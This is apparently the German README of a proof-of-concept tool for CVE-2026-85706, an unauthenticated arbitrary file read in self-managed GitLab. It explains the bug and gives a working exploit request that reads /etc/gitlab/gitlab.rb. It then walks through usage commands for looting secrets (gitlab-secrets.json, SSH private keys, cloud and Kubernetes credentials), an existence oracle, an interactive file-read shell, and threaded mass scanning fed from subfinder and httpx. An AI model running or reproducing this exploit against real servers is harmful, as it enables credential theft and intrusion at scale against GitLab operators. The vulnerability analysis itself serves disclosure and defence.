
CVE-2026-85706 · GitLab CE/EE unauthentifizierter Dateizugriff · Research-PoC mit Oracle-Modus, fd-Enumeration und gestaffeltem Loot-Targeting
PoC für CVE-2026-85706, ein unauthentifizierter beliebiger Datei-Lesezugriff, der selbstverwaltete GitLab CE/EE betrifft.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Betroffen | 18.7 bis 19.1.7, 19.2.0 bis 19.2.5, 19.3.0 bis 19.3.1 |
| Behoben | 19.1.8 / 19.2.6 / 19.3.2 (veröffentlicht am 2026-09-10) |
| Komponente | Repository Commits API / Files API (Workhorse body-upload) |
| Melder | s3ntago via GitLab HackerOne |
Drei Repository-API-Endpunkte liegen hinter dem requestBodyUploader von Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Der Rails-Handler ruft File.open(params['file.path']) vor authenticate! auf. Vier Bedingungen machen dies ausnutzbar:
1. Die Authentifizierung erfolgt nach dem Dateilesen.
require_gitlab_workhorse! prüft nur den JWT-Header Gitlab-Workhorse-Api-Request. Workhorse versieht jede Anfrage, die es weiterleitet, mit diesem Header, einschließlich einfacher Passthroughs. Das eigentliche authenticate! befindet sich in authorize_push_to_branch!, das ausgeführt wird, nachdem file_params_from_body_upload die Datei bereits von der Festplatte gelesen hat.
2. file.path stammt direkt aus der Anfrage.
file_params_from_body_upload liest params['file.path'] als absoluten Pfad ohne Validierung. Im vorgesehenen Ablauf schreibt Workhorse den Upload in eine temporäre Datei und fügt diesen Parameter selbst ein. Ein Angreifer sendet ihn einfach direkt als Query-String-Parameter, der auf eine beliebige Stelle im Dateisystem zeigt.
3. Das Routen-Matching von Workhorse dekodiert niemals die Prozentkodierung.
Workhorse gleicht Upload-Routen mit EscapedPath() ab, den rohen URL-Bytes wie empfangen. Puma dekodiert %XX-Sequenzen, bevor es an Grape weiterleitet. Wenn man also ein Zeichen in einem statischen Segment kodiert, überspringt Workhorse seine Rewrite-Regel, während Rails weiterhin an den verwundbaren Handler weiterleitet:
POST /api/v4/projects/1/repository/commits/ (abschließender Schrägstrich)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape-Format-Suffix)
4. Rack gibt den Dateiinhalt in der Fehlerantwort zurück.
Mit Content-Type: application/x-www-form-urlencoded wird der Dateiinhalt an Rack::Utils.parse_nested_query übergeben. Jedes einzelne %, dem nicht zwei Hexadezimalziffern folgen, löst InvalidParameterError: invalid %-encoding (<content>) aus. Alles bis zum ersten & in der Datei wird im 400-Body zurückgegeben.
Dateien ohne einzelnes % werden trotzdem vor der Authentifizierung gelesen. Die 401-Antwort des urlencoded-Zweigs und eine 500 des multipart-Zweigs bestätigen beide, dass die Datei existiert und für den git-Benutzer lesbar ist, was sie als Existenz-Orakel nützlich macht.
Exploit-Anfrage:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file liest eine beliebige einzelne Datei; fällt automatisch auf das Orakel zurück, wenn es keinen Echo-Trigger gibt--loot führt 36 Ziele über 7 Stufen aus, geordnet nach bestätigter Echo-Trigger-Wahrscheinlichkeit--oracle führt eine Dual-Branch-Sonde (urlencoded + multipart) gegen Dateien ohne Echo aus und teilt mit, ob jede einzelne lesbar, fehlend oder nicht lesbar ist--proc zählt /proc/self/fd/0-31 auf, um offene Dateideskriptoren zu finden, und liest dann standardmäßige /proc-Recon-Ziele--shell öffnet eine interaktive Datei-Lese-Shell mit den Befehlen cat, loot, oracle, project und curl--pipe liest Ziele von stdin und verarbeitet subfinder-Ausgabe, httpx-Text, httpx-JSON, nuclei-JSON und rohe Host-Zeilen--list nimmt eine Datei mit Zielen entgegen, eines pro Zeile--threads für gleichzeitiges Massen-Scanning--proxy leitet alles über Burp oder mitmproxy--raw schreibt rohe Bytes nach stdout ohne Dekoration, nützlich zum Weiterleiten in eine Datei--full führt loot, oracle und proc in einem Durchgang aus-opip install requests
python3 gitread.py -h
Erfordert Python 3.10 oder neuer. Keine weiteren Abhängigkeiten.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin wird automatisch erkannt, wenn es kein TTY ist, daher ist --pipe in den meisten Fällen optional.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Bewertung | Bedeutung |
|---|---|
leak | Dateiinhalt im 400-Body zurückgegeben, Lesen bestätigt |
leak-frag | Teilweises Echo über Parameter-Typfehler |
read-noecho | Datei wurde vor der Authentifizierung gelesen, enthält aber kein einzelnes %, daher kein Echo |
READABLE | Multipart-Zweig gab 500 zurück, Datei existiert und ist für den git-Benutzer lesbar |
missing | Server meldete, dass die lokale Datei nicht vorhanden ist |
rewrite | Workhorse hat den Body umgeschrieben, diese Bypass-Form ist tot |
noroute | Rails 404, Instanz ist gepatcht oder der Pfad ist falsch |
server-error | 500, Datei existiert, verursachte aber einen Parse-Fehler |
| Stufe | Dateien | Echo |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Inhalt leakt direkt |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Nur Orakel, reines Hex |
| 3 | .gitlab_workhorse_secret | Nur Orakel |
| 4 | SSH-Private-Keys und authorized_keys | Nur Orakel |
| 5 | gitlab-shell.yml, gitaly.toml, PostgreSQL-Konfiguration | Nur Orakel |
| 6 | Kubernetes-Service-Account-Token, AWS-Credentials | Nur Orakel |
| 7 | Hostname, hosts, passwd, os-release, environ | Nur Orakel |